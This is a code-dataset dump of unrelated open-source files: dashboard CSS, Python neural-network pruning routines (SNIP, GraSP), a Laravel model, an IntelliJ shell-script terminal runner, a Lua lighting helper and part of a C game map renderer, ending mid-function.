color: #1B77AF;
display: inline-block; }
.service-info .header .complexity .k-dropdown {
font-size: 11px; }
.service-info .subheader {
padding-top: 5px; }
.service-info .subheader .label {
font-size: 14px;
color: #999999;
font-weight: normal; }
.service-personal .row {
padding: 3px 0;
border-bottom: 1px solid #f0f0f0; }
.service-personal .row:last-child {
border-bottom: 0; }
.service-personal .label {
font-size: 14px;
color: #999999;
font-weight: normal; }
.service-personal .info {
float: right; }
.service-files .well {
font-size: 12px; }
.service-files .scrollable {
height: 245px;
overflow-y: auto; }
.service-files .scrollable .inner-well {
height: auto; }
.service-files th {
font-weight: normal; }
.service-files td {
padding: 2px !important;
border: none !important; }
.service-files td .fa {
margin-right: 3px; }
.service-history .well {
font-size: 12px; }
.service-history .scrollable {
height: 215px;
overflow-y: auto; }
.service-history .scrollable .inner-well {
height: auto; }
.service-assign .people .title {
margin-left: 10px;
display: inline-block; }
.service-assign button {
margin-top: 0 !important; }
.deadline {
background: #999;
padding: 2px;
width: 16px;
height: 16px;
display: block;
border-radius: 20px;
text-align: center;
font-size: 12px;
line-height: 15px;
color: #fff; }
.deadline-tab {
display: inline-block;
margin: 0 2px;
font-size: 10px;
line-height: 11px;
width: 14px;
height: 14px; }
.deadline-details {
display: inline-block;
margin: 0 10px;
font-size: 16px;
line-height: 20px;
width: 24px;
height: 24px; }
.green {
background: #009A44; }
.yellow {
background: #F68D2E; }
.red {
background: #BC204B; }
.blue {
background: #1B77AF; }
.blue-text {
color: #1B77AF; }
@media (min-width: 970px) {
.main-content {
margin-left: 0;
margin-right: 0; } }
.col-center {
float: none;
margin: 0 auto; }
#footer {
position: fixed;
bottom: 0;
height: 25px;
width: 100%;
padding: 0; }
.footer-wrap {
background: #ffffff;
padding: 5px;
margin: 0;
color: #666666;
font-size: .8em; }
.status-steps {
padding: 0px; }
.status-steps .step {
padding-top: 30px;
text-align: center;
width: 8.33333%;
height: 110px;
float: left;
position: relative;
display: inline-block; }
.status-steps .step .status {
font-family: FontAwesome;
font-style: normal;
font-weight: normal;
text-decoration: inherit;
font-size: 28px; }
.status-steps .step .step-name {
font-size: 12px;
line-height: 1; }
.status-steps .step .status-complete::after {
content: "\f058";
width: 100%;
clear: both;
float: left;
text-align: center;
color: #00A3A1; }
.status-steps .step .status-in-progress::after {
content: "\f013";
width: 100%;
clear: both;
float: left;
text-align: center;
color: #470A68;
-webkit-animation: spin 4s linear infinite;
-moz-animation: spin 4s linear infinite;
animation: spin 4s linear infinite; }
@-moz-keyframes spin {
100% {
-moz-transform: rotate(360deg); } }
@-webkit-keyframes spin {
100% {
-webkit-transform: rotate(360deg); } }
@keyframes spin {
100% {
-webkit-transform: rotate(360deg);
transform: rotate(360deg); } }
.status-steps .step .status-not-complete::after {
content: "\f10c";
width: 100%;
clear: both;
float: left;
text-align: center;
color: #999999; }
.status-steps .step .status-waiting::after {
content: "\f017";
width: 100%;
clear: both;
float: left;
text-align: center;
color: #EAAA00; }
.status-steps .step .status-fail::after {
content: "\f057";
width: 100%;
clear: both;
float: left;
text-align: center;
color: #BC204B; }
.status-steps .step .status-redo::after {
content: "\f058";
width: 100%;
clear: both;
float: left;
text-align: center;
color: #ffdb00; }
.status-steps .step:after {
border-top: 3px solid #ddd;
content: "";
height: 1px;
width: 60%;
float: left;
display: block;
position: absolute;
top: 45%;
left: 70%; }
.status-steps .step:last-child:after {
display: none; }
.status-steps .step-small .status {
font-size: 20px;
line-height: 40px; }
.dashboard .nav-tabs li {
margin-right: 3px; }
.dashboard .nav-tabs li a {
border: 0;
padding: 5px 10px;
background: #999999;
color: #ffffff;
border-radius: 0; }
.dashboard .nav-tabs li a:hover {
border-radius: 0;
background: #00338D; }
.dashboard .nav-tabs li.active a {
border: 0;
background: #ffffff;
color: #333333; }
.dashboard .tab-content {
background: #ffffff;
padding: 5px; }
.dashboard .k-grid {
box-shadow: none !important;
border: 0; }
.dashboard .k-grid .k-grid-header {
background: none; }
.dashboard .k-grid .k-header {
background: none;
border-bottom: 0;
border-color: rgba(0, 0, 0, 0.08); }
.dashboard .k-grid .k-grid-header-wrap {
border: 0; }
.dashboard .k-grid .k-pager-wrap {
background: none !important;
border: 0 !important;
box-shadow: none !important; }
.dashboard .k-grid .k-pager-wrap .k-pager-refresh {
background: none; }
.dashboard .k-grid td {
border: 0 !important; }
.dashboard .k-grid .new td {
background: #3dbae5; }
.dashboard .k-filter-row th {
padding-bottom: 15px;
padding-top: 0px; }
.k-datepicker .k-picker-wrap {
border-color: #b3b3b3;
border-radius: 0px; }
.k-dateinput-wrap {
box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.075);
transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; }
.k-input {
padding: 5px 10px; }
.k-datepicker {
width: 100%;
height: 34px !important; }
.k-dateinput-wrap {
font-size: 14px !important; }
.k-filtercell .k-filtercell-operator > .k-button:not(.k-clear-button-visible), .k-filtercell > span > .k-button:not(.k-clear-button-visible) {
visibility: hidden;
pointer-events: none; }
| 22.635514 | 346 | 0.615091 |
b2e0de9c060c5c18b08f58d054b60642948a19ab | 13,975 | py | Python | SViTE/backup/sparselearning/snip.py | VITA-Group/SViTE | b0c62fd153c8b0b99917ab935ee76925c9de1149 | [
"MIT"
] | 50 | 2021-05-29T00:52:45.000Z | 2022-03-17T11:39:47.000Z | SViTE/backup/sparselearning/snip.py | VITA-Group/SViTE | b0c62fd153c8b0b99917ab935ee76925c9de1149 | [
"MIT"
] | 2 | 2022-01-16T07:24:52.000Z | 2022-03-29T01:56:24.000Z | SViTE/backup/sparselearning/snip.py | VITA-Group/SViTE | b0c62fd153c8b0b99917ab935ee76925c9de1149 | [
"MIT"
] | 6 | 2021-06-27T22:24:16.000Z | 2022-01-17T02:45:32.000Z | import torch
import torch.autograd as autograd
import torch.nn as nn
import torch.nn.functional as F
import math
import copy
import types
def fgsm_attack(image, epsilon, data_grad):
print('Attacking...')
# Collect the element-wise sign of the data gradient
sign_data_grad = data_grad.sign()
# Create the perturbed image by adjusting each pixel of the input image
perturbed_image = image + epsilon*sign_data_grad
# Adding clipping to maintain [0,1] range
perturbed_image = torch.clamp(perturbed_image, 0, 1)
# Return the perturbed image
return perturbed_image
def snip_forward_conv2d(self, x):
return F.conv2d(x, self.weight * self.weight_mask, self.bias,
self.stride, self.padding, self.dilation, self.groups)
def snip_forward_linear(self, x):
return F.linear(x, self.weight * self.weight_mask, self.bias)
def SNIP(net, keep_ratio, train_dataloader, device):
# TODO: shuffle?
# Grab a single batch from the training dataset
inputs, targets = next(iter(train_dataloader))
inputs = inputs.to(device)
targets = targets.to(device)
inputs.requires_grad = True
# Let's create a fresh copy of the network so that we're not worried about
# affecting the actual training-phase
net = copy.deepcopy(net)
# Monkey-patch the Linear and Conv2d layer to learn the multiplicative mask
# instead of the weights
for layer in net.modules():
if isinstance(layer, nn.Conv2d) or isinstance(layer, nn.Linear):
layer.weight_mask = nn.Parameter(torch.ones_like(layer.weight))
nn.init.xavier_normal_(layer.weight)
layer.weight.requires_grad = False
# Override the forward methods:
if isinstance(layer, nn.Conv2d):
layer.forward = types.MethodType(snip_forward_conv2d, layer)
if isinstance(layer, nn.Linear):
layer.forward = types.MethodType(snip_forward_linear, layer)
# Compute gradients (but don't apply them)
net.zero_grad()
outputs = net.forward(inputs)
loss = F.nll_loss(outputs, targets)
loss.backward()
grads_abs = []
for layer in net.modules():
if isinstance(layer, nn.Conv2d) or isinstance(layer, nn.Linear):
grads_abs.append(torch.abs(layer.weight_mask.grad))
# Gather all scores in a single vector and normalise
all_scores = torch.cat([torch.flatten(x) for x in grads_abs])
norm_factor = torch.sum(all_scores)
all_scores.div_(norm_factor)
num_params_to_keep = int(len(all_scores) * keep_ratio)
threshold, _ = torch.topk(all_scores, num_params_to_keep, sorted=True)
acceptable_score = threshold[-1]
keep_masks = []
for g in grads_abs:
keep_masks.append(((g / norm_factor) >= acceptable_score).float())
print(torch.sum(torch.cat([torch.flatten(x == 1) for x in keep_masks])))
return keep_masks
def SNIP_training(net, keep_ratio, train_dataloader, device, masks, death_rate):
# TODO: shuffle?
# Grab a single batch from the training dataset
inputs, targets = next(iter(train_dataloader))
inputs = inputs.to(device)
targets = targets.to(device)
print('Pruning rate:', death_rate)
# Let's create a fresh copy of the network so that we're not worried about
# affecting the actual training-phase
net = copy.deepcopy(net)
# Monkey-patch the Linear and Conv2d layer to learn the multiplicative mask
# instead of the weights
# for layer in net.modules():
# if isinstance(layer, nn.Conv2d) or isinstance(layer, nn.Linear):
# layer.weight_mask = nn.Parameter(torch.ones_like(layer.weight))
# # nn.init.xavier_normal_(layer.weight)
# # layer.weight.requires_grad = False
#
# # Override the forward methods:
# if isinstance(layer, nn.Conv2d):
# layer.forward = types.MethodType(snip_forward_conv2d, layer)
#
# if isinstance(layer, nn.Linear):
# layer.forward = types.MethodType(snip_forward_linear, layer)
# Compute gradients (but don't apply them)
net.zero_grad()
outputs = net.forward(inputs)
loss = F.nll_loss(outputs, targets)
loss.backward()
grads_abs = []
masks_copy = []
new_masks = []
for name in masks:
masks_copy.append(masks[name])
index = 0
for layer in net.modules():
if isinstance(layer, nn.Conv2d) or isinstance(layer, nn.Linear):
# clone mask
mask = masks_copy[index].clone()
num_nonzero = (masks_copy[index] != 0).sum().item()
num_zero = (masks_copy[index] == 0).sum().item()
# calculate score
scores = torch.abs(layer.weight.grad * layer.weight * masks_copy[index]) # weight * grad
norm_factor = torch.sum(scores)
scores.div_(norm_factor)
x, idx = torch.sort(scores.data.view(-1))
num_remove = math.ceil(death_rate * num_nonzero)
k = math.ceil(num_zero + num_remove)
if num_remove == 0.0: return masks_copy[index] != 0.0
mask.data.view(-1)[idx[:k]] = 0.0
new_masks.append(mask)
index += 1
return new_masks
def GraSP_fetch_data(dataloader, num_classes, samples_per_class):
datas = [[] for _ in range(num_classes)]
labels = [[] for _ in range(num_classes)]
mark = dict()
dataloader_iter = iter(dataloader)
while True:
inputs, targets = next(dataloader_iter)
for idx in range(inputs.shape[0]):
x, y = inputs[idx:idx+1], targets[idx:idx+1]
category = y.item()
if len(datas[category]) == samples_per_class:
mark[category] = True
continue
datas[category].append(x)
labels[category].append(y)
if len(mark) == num_classes:
break
X, y = torch.cat([torch.cat(_, 0) for _ in datas]), torch.cat([torch.cat(_) for _ in labels]).view(-1)
return X, y
def count_total_parameters(net):
total = 0
for m in net.modules():
if isinstance(m, (nn.Linear, nn.Conv2d)):
total += m.weight.numel()
return total
def count_fc_parameters(net):
total = 0
for m in net.modules():
if isinstance(m, (nn.Linear)):
total += m.weight.numel()
return total
def GraSP(net, ratio, train_dataloader, device, num_classes=10, samples_per_class=25, num_iters=1, T=200, reinit=True):
eps = 1e-10
keep_ratio = ratio
old_net = net
net = copy.deepcopy(net) # .eval()
net.zero_grad()
weights = []
total_parameters = count_total_parameters(net)
fc_parameters = count_fc_parameters(net)
# rescale_weights(net)
for layer in net.modules():
if isinstance(layer, nn.Conv2d) or isinstance(layer, nn.Linear):
if isinstance(layer, nn.Linear) and reinit:
nn.init.xavier_normal(layer.weight)
weights.append(layer.weight)
inputs_one = []
targets_one = []
grad_w = None
for w in weights:
w.requires_grad_(True)
print_once = False
for it in range(num_iters):
print("(1): Iterations %d/%d." % (it, num_iters))
inputs, targets = GraSP_fetch_data(train_dataloader, num_classes, samples_per_class)
N = inputs.shape[0]
din = copy.deepcopy(inputs)
dtarget = copy.deepcopy(targets)
inputs_one.append(din[:N//2])
targets_one.append(dtarget[:N//2])
inputs_one.append(din[N // 2:])
targets_one.append(dtarget[N // 2:])
inputs = inputs.to(device)
targets = targets.to(device)
outputs = net.forward(inputs[:N//2])/T
if print_once:
# import pdb; pdb.set_trace()
x = F.softmax(outputs)
print(x)
print(x.max(), x.min())
print_once = False
loss = F.cross_entropy(outputs, targets[:N//2])
# ===== debug ================
grad_w_p = autograd.grad(loss, weights)
if grad_w is None:
grad_w = list(grad_w_p)
else:
for idx in range(len(grad_w)):
grad_w[idx] += grad_w_p[idx]
outputs = net.forward(inputs[N // 2:])/T
loss = F.cross_entropy(outputs, targets[N // 2:])
grad_w_p = autograd.grad(loss, weights, create_graph=False)
if grad_w is None:
grad_w = list(grad_w_p)
else:
for idx in range(len(grad_w)):
grad_w[idx] += grad_w_p[idx]
ret_inputs = []
ret_targets = []
for it in range(len(inputs_one)):
print("(2): Iterations %d/%d." % (it, num_iters))
inputs = inputs_one.pop(0).to(device)
targets = targets_one.pop(0).to(device)
ret_inputs.append(inputs)
ret_targets.append(targets)
outputs = net.forward(inputs)/T
loss = F.cross_entropy(outputs, targets)
# ===== debug ==============
grad_f = autograd.grad(loss, weights, create_graph=True)
z = 0
count = 0
for layer in net.modules():
if isinstance(layer, nn.Conv2d) or isinstance(layer, nn.Linear):
z += (grad_w[count].data * grad_f[count]).sum()
count += 1
z.backward()
grads = dict()
old_modules = list(old_net.modules())
for idx, layer in enumerate(net.modules()):
if isinstance(layer, nn.Conv2d) or isinstance(layer, nn.Linear):
grads[old_modules[idx]] = -layer.weight.data * layer.weight.grad # -theta_q Hg
# Gather all scores in a single vector and normalise
all_scores = torch.cat([torch.flatten(x) for x in grads.values()])
norm_factor = torch.abs(torch.sum(all_scores)) + eps
print("** norm factor:", norm_factor)
all_scores.div_(norm_factor)
num_params_to_rm = int(len(all_scores) * (1-keep_ratio))
threshold, _ = torch.topk(all_scores, num_params_to_rm, sorted=True)
# import pdb; pdb.set_trace()
acceptable_score = threshold[-1]
print('** accept: ', acceptable_score)
keep_masks = []
for m, g in grads.items():
keep_masks.append(((g / norm_factor) <= acceptable_score).float())
# print(torch.sum(torch.cat([torch.flatten(x == 1) for x in keep_masks.values()])))
return keep_masks
def GraSP_Training(net, ratio, train_dataloader, device, num_classes=10, samples_per_class=25, num_iters=1, T=200, reinit=False):
eps = 1e-10
death_rate = ratio
net = copy.deepcopy(net) # .eval()
net.zero_grad()
weights = []
# rescale_weights(net)
for layer in net.modules():
if isinstance(layer, nn.Conv2d) or isinstance(layer, nn.Linear):
if isinstance(layer, nn.Linear) and reinit:
nn.init.xavier_normal(layer.weight)
weights.append(layer.weight)
inputs_one = []
targets_one = []
grad_w = None
for w in weights:
w.requires_grad_(True)
print_once = False
for it in range(num_iters):
print("(1): Iterations %d/%d." % (it, num_iters))
inputs, targets = GraSP_fetch_data(train_dataloader, num_classes, samples_per_class)
N = inputs.shape[0]
din = copy.deepcopy(inputs)
dtarget = copy.deepcopy(targets)
inputs_one.append(din[:N//2])
targets_one.append(dtarget[:N//2])
inputs_one.append(din[N // 2:])
targets_one.append(dtarget[N // 2:])
inputs = inputs.to(device)
targets = targets.to(device)
outputs = net.forward(inputs[:N//2])/T
if print_once:
# import pdb; pdb.set_trace()
x = F.softmax(outputs)
print(x)
print(x.max(), x.min())
print_once = False
loss = F.cross_entropy(outputs, targets[:N//2])
# ===== debug ================
grad_w_p = autograd.grad(loss, weights)
if grad_w is None:
grad_w = list(grad_w_p)
else:
for idx in range(len(grad_w)):
grad_w[idx] += grad_w_p[idx]
outputs = net.forward(inputs[N // 2:])/T
loss = F.cross_entropy(outputs, targets[N // 2:])
grad_w_p = autograd.grad(loss, weights, create_graph=False)
if grad_w is None:
grad_w = list(grad_w_p)
else:
for idx in range(len(grad_w)):
grad_w[idx] += grad_w_p[idx]
ret_inputs = []
ret_targets = []
for it in range(len(inputs_one)):
print("(2): Iterations %d/%d." % (it, num_iters))
inputs = inputs_one.pop(0).to(device)
targets = targets_one.pop(0).to(device)
ret_inputs.append(inputs)
ret_targets.append(targets)
outputs = net.forward(inputs)/T
loss = F.cross_entropy(outputs, targets)
# ===== debug ==============
grad_f = autograd.grad(loss, weights, create_graph=True)
z = 0
count = 0
for layer in net.modules():
if isinstance(layer, nn.Conv2d) or isinstance(layer, nn.Linear):
z += (grad_w[count].data * grad_f[count]).sum()
count += 1
z.backward()
keep_masks = []
for idx, layer in enumerate(net.modules()):
if isinstance(layer, nn.Conv2d) or isinstance(layer, nn.Linear):
grad = -layer.weight.data * layer.weight.grad
# scores = torch.flatten(grad) # -theta_q Hg
mask = grad != 0
num_nonzero = (grad != 0).sum().item()
num_positive = (grad > 0).sum().item()
num_zero = (grad == 0).sum().item()
num_remove = math.ceil(num_nonzero*death_rate)
if num_remove > num_positive:
k = num_remove + num_zero
else:
k = num_remove
threshold, idx = torch.topk(grad.data.view(-1), k, sorted=True)
mask.data.view(-1)[idx[:k]] = 0.0
keep_masks.append(mask)
return keep_masks | 34.506173 | 129 | 0.606082 |
f5252da36d97c31db0395f1f67312811ace048f8 | 54 | rs | Rust | src/http_api_v3/data/exchange_info/get/mod.rs | stefco/binance-client | dbaec74cc8f77e00d687749d98342467ac285d5c | [
"MIT"
] | 5 | 2020-11-08T22:57:14.000Z | 2021-06-25T16:46:52.000Z | src/http_api_v3/data/exchange_info/get/mod.rs | stefco/binance-client | dbaec74cc8f77e00d687749d98342467ac285d5c | [
"MIT"
] | 1 | 2021-09-07T06:47:44.000Z | 2021-09-07T06:47:44.000Z | src/http_api_v3/data/exchange_info/get/mod.rs | stefco/binance-client | dbaec74cc8f77e00d687749d98342467ac285d5c | [
"MIT"
] | 1 | 2021-03-12T13:50:01.000Z | 2021-03-12T13:50:01.000Z | //!
//! The exchange info GET.
//!
pub mod response;
| 9 | 26 | 0.592593 |
ddff147ed8edc0cfffbfc650ab00d20324718046 | 977 | php | PHP | app/Models/PermutaAdscripcion.php | XXAI/X11 | cbfe630e7dcc38fa1d334c7ac0a857ad4f478f21 | [
"MIT"
] | null | null | null | app/Models/PermutaAdscripcion.php | XXAI/X11 | cbfe630e7dcc38fa1d334c7ac0a857ad4f478f21 | [
"MIT"
] | 19 | 2021-03-08T16:58:03.000Z | 2022-02-26T18:59:35.000Z | app/Models/PermutaAdscripcion.php | XXAI/X11 | cbfe630e7dcc38fa1d334c7ac0a857ad4f478f21 | [
"MIT"
] | null | null | null | <?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;
class PermutaAdscripcion extends Model
{
use SoftDeletes;
protected $fillable = ['empleado_id', 'user_origen_id', 'clues_origen', 'cr_origen_id', 'user_destino_id', 'clues_destino', 'cr_destino_id', 'observacion', 'estatus', 'user_id'];
protected $table = 'permuta_adscripcion';
public function empleado(){
return $this->hasOne('App\Models\Empleado', 'id', "empleado_id");
}
public function cluesOrigen(){
return $this->hasOne('App\Models\Clues', 'clues', "clues_origen");
}
public function cluesDestino(){
return $this->hasOne('App\Models\Clues', 'clues', "clues_destino");
}
public function crOrigen(){
return $this->hasOne('App\Models\Cr', 'cr', "cr_origen_id");
}
public function crDestino(){
return $this->hasOne('App\Models\Cr', 'cr', "cr_destino_id");
}
}
| 28.735294 | 182 | 0.666325 |
8f1fc6dc8e35723c33819934cb7f0a9ec4c4ae78 | 469 | lua | Lua | src/ServerScriptService/FunctionalDomains/LightManager.lua | gtraines/romox-ts | 79c2f15431ea399a52155c0d3345e94e403125c1 | [
"MIT"
] | 2 | 2020-02-10T02:20:27.000Z | 2021-05-27T14:16:16.000Z | src/ServerScriptService/FunctionalDomains/LightManager.lua | gtraines/romox-ts | 79c2f15431ea399a52155c0d3345e94e403125c1 | [
"MIT"
] | 2 | 2019-09-30T07:46:41.000Z | 2019-10-15T05:38:54.000Z | src/ServerScriptService/FunctionalDomains/LightManager.lua | gtraines/romox-ts | 79c2f15431ea399a52155c0d3345e94e403125c1 | [
"MIT"
] | null | null | null | -- Dictionary
local module = {}
function module.addSurfaceLighting(part, surfaces, range, color)
-- Type of Face is "NormalId"
-- Conversions:
-- Right: 0
-- Top: 1
-- Back: 2
-- Left: 3
-- Bottom: 4
-- Front: 5
for _, surface in pairs(surfaces) do
local lightObj = Instance.new('SurfaceLight', part)
lightObj.Face = surface
lightObj.Range = range
lightObj.Brightness = 3
lightObj.Color = color
lightObj.Enabled = true
end
end
return module | 18.76 | 64 | 0.678038 |
26337df625fa197eecc82b52da90cf8e36ab844a | 3,573 | java | Java | plugins/sh/src/com/intellij/sh/run/ShTerminalRunner.java | lusinga/intellij-community | 618fd69dd6aa061408c3128de8f1f82078ddf1fc | [
"Apache-2.0"
] | null | null | null | plugins/sh/src/com/intellij/sh/run/ShTerminalRunner.java | lusinga/intellij-community | 618fd69dd6aa061408c3128de8f1f82078ddf1fc | [
"Apache-2.0"
] | null | null | null | plugins/sh/src/com/intellij/sh/run/ShTerminalRunner.java | lusinga/intellij-community | 618fd69dd6aa061408c3128de8f1f82078ddf1fc | [
"Apache-2.0"
] | null | null | null | // Copyright 2000-2019 JetBrains s.r.o. Use of this source code is governed by the Apache 2.0 license that can be found in the LICENSE file.
package com.intellij.sh.run;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.util.Pair;
import com.intellij.openapi.vfs.CharsetToolkit;
import com.intellij.openapi.vfs.VfsUtilCore;
import com.intellij.openapi.vfs.VirtualFile;
import com.intellij.openapi.wm.ToolWindow;
import com.intellij.openapi.wm.ToolWindowManager;
import com.intellij.openapi.wm.impl.ToolWindowImpl;
import com.intellij.sh.psi.ShFile;
import com.pty4j.PtyProcess;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import org.jetbrains.plugins.terminal.LocalTerminalDirectRunner;
import org.jetbrains.plugins.terminal.TerminalOptionsProvider;
import org.jetbrains.plugins.terminal.TerminalToolWindowFactory;
import org.jetbrains.plugins.terminal.TerminalView;
import java.io.File;
import java.io.IOException;
import java.util.concurrent.ExecutionException;
public class ShTerminalRunner extends ShRunner {
@Override
public void run(@NotNull ShFile file) {
Project project = file.getProject();
TerminalView terminalView = TerminalView.getInstance(file.getProject());
ToolWindow window = ToolWindowManager.getInstance(project).getToolWindow(TerminalToolWindowFactory.TOOL_WINDOW_ID);
if (window != null && window.isAvailable()) {
((ToolWindowImpl) window).ensureContentInitialized();
window.activate(null);
}
terminalView.createNewSession(new LocalTerminalDirectRunner(project) {
@Override
protected PtyProcess createProcess(@Nullable String directory, @Nullable String commandHistoryFilePath) throws ExecutionException {
PtyProcess process = super.createProcess(directory, commandHistoryFilePath);
Pair<String, String> fileCommand = createCommandLine(file);
if (fileCommand.first != null) {
try {
process.getOutputStream().write(fileCommand.first.getBytes(CharsetToolkit.UTF8_CHARSET));
}
catch (IOException ex) {
throw new ExecutionException("Fail to start " + fileCommand.first, ex);
}
}
else {
throw new ExecutionException(fileCommand.second, null);
}
return process;
}
});
}
@Override
public boolean isAvailable(@NotNull Project project) {
ToolWindow window = ToolWindowManager.getInstance(project).getToolWindow(TerminalToolWindowFactory.TOOL_WINDOW_ID);
return window != null && window.isAvailable();
}
@NotNull
private static Pair<String, String> createCommandLine(@NotNull ShFile file) {
VirtualFile virtualFile = file.getVirtualFile();
if (virtualFile == null) {
return Pair.create(null, "Cannot run " + file.getName());
}
if (!virtualFile.exists()) {
return Pair.create(null, "File " + virtualFile.getPath() + " doesn't exist");
}
String filePath = virtualFile.getPath() + "\n";
if (VfsUtilCore.virtualToIoFile(virtualFile).canExecute()) {
return Pair.create(filePath, null);
}
String executable = ShRunner.getShebangExecutable(file);
if (executable == null) {
String shellPath = TerminalOptionsProvider.Companion.getInstance().getShellPath();
File shellFile = new File(shellPath);
if (shellFile.isAbsolute() && shellFile.canExecute()) {
executable = shellPath;
}
}
return executable != null ? Pair.create(executable + " " + filePath, null) : Pair.create(filePath, null);
}
}
| 41.546512 | 140 | 0.72768 |
b996afde982ad31326cbb97fb8216c7a55b3d3b7 | 10,966 | c | C | src/render/map.c | RAttab/legion | 79c1d6dd76db31c8d765fefd034df911dc414e83 | [
"BSD-2-Clause",
"MIT"
] | 4 | 2021-09-09T16:54:38.000Z | 2021-12-01T20:21:19.000Z | src/render/map.c | RAttab/legion | 79c1d6dd76db31c8d765fefd034df911dc414e83 | [
"BSD-2-Clause",
"MIT"
] | null | null | null | src/render/map.c | RAttab/legion | 79c1d6dd76db31c8d765fefd034df911dc414e83 | [
"BSD-2-Clause",
"MIT"
] | null | null | null | /* map.c
Rémi Attab (remi.attab@gmail.com), 14 Nov 2020
FreeBSD-style copyright and disclaimer apply
*/
#include "render/ui.h"
#include "render/core.h"
#include "game/world.h"
#include "utils/color.h"
#include "utils/hset.h"
// -----------------------------------------------------------------------------
// struct
// -----------------------------------------------------------------------------
struct map
{
struct coord pos;
scale_t scale;
SDL_Texture* tex;
SDL_Rect tex_star;
SDL_Rect tex_active;
bool active;
bool panning, panned;
};
enum
{
// Number of pixels per star at scale_base (not
// map_scale_default). Basically it needs to be tweaked to a number that's
// big enough to see and click on but not too big that there are overlaps
// between stars during gen.
map_star_px = 650,
// Tweaked in relation to map_star_px so that our default view isn't
// useless.
map_scale_default = scale_base << 5,
// As we zoom out we need to pull more nad more sector data which becomes
// too expansive. These determine at which zoom threshold do we stop pulling
// some data and displaying things like the sector or area grid.
map_thresh_stars = scale_base << 0x8,
map_thresh_sector_low = scale_base << 0x7,
map_thresh_sector_high = scale_base << 0xE,
};
// -----------------------------------------------------------------------------
// basics
// -----------------------------------------------------------------------------
struct map *map_new(void)
{
struct map *map = calloc(1, sizeof(*map));
*map = (struct map) {
.pos = proxy_home(core.proxy),
.scale = map_scale_default,
.tex = NULL,
.active = true,
.panning = false,
.panned = false,
};
char path[PATH_MAX];
core_path_res("map.bmp", path, sizeof(path));
SDL_Surface *bmp = sdl_ptr(SDL_LoadBMP(path));
map->tex = sdl_ptr(SDL_CreateTextureFromSurface(core.renderer, bmp));
SDL_FreeSurface(bmp);
map->tex_star = (SDL_Rect) { .x = 0, .y = 0, .w = 100, .h = 100 };
map->tex_active = (SDL_Rect) { .x = 100, .y = 0, .w = 100, .h = 100 };
return map;
}
void map_free(struct map *map)
{
SDL_DestroyTexture(map->tex);
}
bool map_active(struct map *map)
{
return map->active;
}
scale_t map_scale(struct map *map)
{
return map->scale;
}
// -----------------------------------------------------------------------------
// coord
// -----------------------------------------------------------------------------
static struct coord map_project_coord(struct map *map, SDL_Point sdl)
{
SDL_Rect rect = core.rect;
int64_t x = sdl.x, y = sdl.y; // needed as a signed int
int64_t rel_x = scale_mult(map->scale, x - rect.x - rect.w / 2);
int64_t rel_y = scale_mult(map->scale, y - rect.y - rect.h / 2);
return (struct coord) {
.x = map->pos.x + rel_x,
.y = map->pos.y + rel_y,
};
}
static struct rect map_project_coord_rect(struct map *map, const SDL_Rect *sdl)
{
return (struct rect) {
.top = map_project_coord(map, (SDL_Point) {
.x = sdl->x,
.y = sdl->y
}),
.bot = map_project_coord(map, (SDL_Point) {
.x = sdl->x + sdl->w,
.y = sdl->y + sdl->h
}),
};
}
static SDL_Point map_project_sdl(struct map *map, struct coord coord)
{
SDL_Rect rect = core.rect;
int64_t x = coord.x, y = coord.y; // needed as a signed int
int64_t rel_x = scale_div(map->scale, x - map->pos.x);
int64_t rel_y = scale_div(map->scale, y - map->pos.y);
return (SDL_Point) {
.x = rel_x + rect.w / 2 + rect.x,
.y = rel_y + rect.h / 2 + rect.y,
};
}
struct coord map_coord(struct map *map)
{
return map_project_coord(map, core.cursor.point);
}
// -----------------------------------------------------------------------------
// events
// -----------------------------------------------------------------------------
static bool map_event_user(struct map *map, SDL_Event *ev)
{
switch (ev->user.code)
{
case EV_MAP_GOTO: {
map->active = true;
map->pos = coord_from_u64((uintptr_t) ev->user.data1);
map->scale = map_scale_default;
return false;
}
case EV_STATE_LOAD: {
if (coord_is_nil(map->pos))
map->pos = proxy_home(core.proxy);
return false;
}
case EV_FACTORY_CLOSE: { map->active = true; return false; }
case EV_FACTORY_SELECT: { map->active = false; return false; }
default: { return false; }
}
}
bool map_event(struct map *map, SDL_Event *event)
{
if (event->type == core.event) return map_event_user(map, event);
if (!map->active) return false;
switch (event->type)
{
case SDL_MOUSEWHEEL: {
map->scale = scale_inc(map->scale, -event->wheel.y);
break;
}
case SDL_MOUSEMOTION: {
if (map->panning) {
int64_t xrel = scale_mult(map->scale, event->motion.xrel);
map->pos.x = i64_clamp(map->pos.x - xrel, 0, UINT32_MAX);
int64_t yrel = scale_mult(map->scale, event->motion.yrel);
map->pos.y = i64_clamp(map->pos.y - yrel, 0, UINT32_MAX);
map->panned = true;
}
break;
}
case SDL_MOUSEBUTTONDOWN: {
SDL_MouseButtonEvent *b = &event->button;
if (b->button == SDL_BUTTON_LEFT) map->panning = true;
if (map->scale < map_thresh_stars) {
SDL_Point point = core.cursor.point;
size_t px = scale_div(map->scale, map_star_px);
struct rect rect = map_project_coord_rect(map, &(SDL_Rect) {
.x = point.x - px / 2,
.y = point.y - px / 2,
.h = px, .w = px,
});
const struct star *star = proxy_star_in(core.proxy, rect);
if (star) core_push_event(EV_STAR_SELECT, coord_to_u64(star->coord), 0);
}
break;
}
case SDL_MOUSEBUTTONUP: {
SDL_MouseButtonEvent *b = &event->button;
if (b->button == SDL_BUTTON_LEFT) {
map->panning = false;
map->panned = false;
}
break;
}
}
return false;
}
// -----------------------------------------------------------------------------
// render
// -----------------------------------------------------------------------------
static void map_render_areas(struct map *map, SDL_Renderer *renderer)
{
struct rect rect = map_project_coord_rect(map, &core.rect);
struct coord it = rect_next_area(rect, coord_nil());
for (; !coord_is_nil(it); it = rect_next_area(rect, it)) {
SDL_Point top = map_project_sdl(map, it);
SDL_Point bot = map_project_sdl(map, make_coord(
it.x + coord_area_inc,
it.y + coord_area_inc));
SDL_Rect sdl_rect = {
.x = top.x, .y = top.y,
.w = bot.x - top.x,
.h = bot.y - top.y,
};
rgba_render(make_rgba(0x00, 0x00, 0x33, 0x88), renderer);
sdl_err(SDL_RenderDrawRect(renderer, &sdl_rect));
}
}
static void map_render_sectors(struct map *map, SDL_Renderer *renderer)
{
struct rect rect = map_project_coord_rect(map, &core.rect);
struct coord it = rect_next_sector(rect, coord_nil());
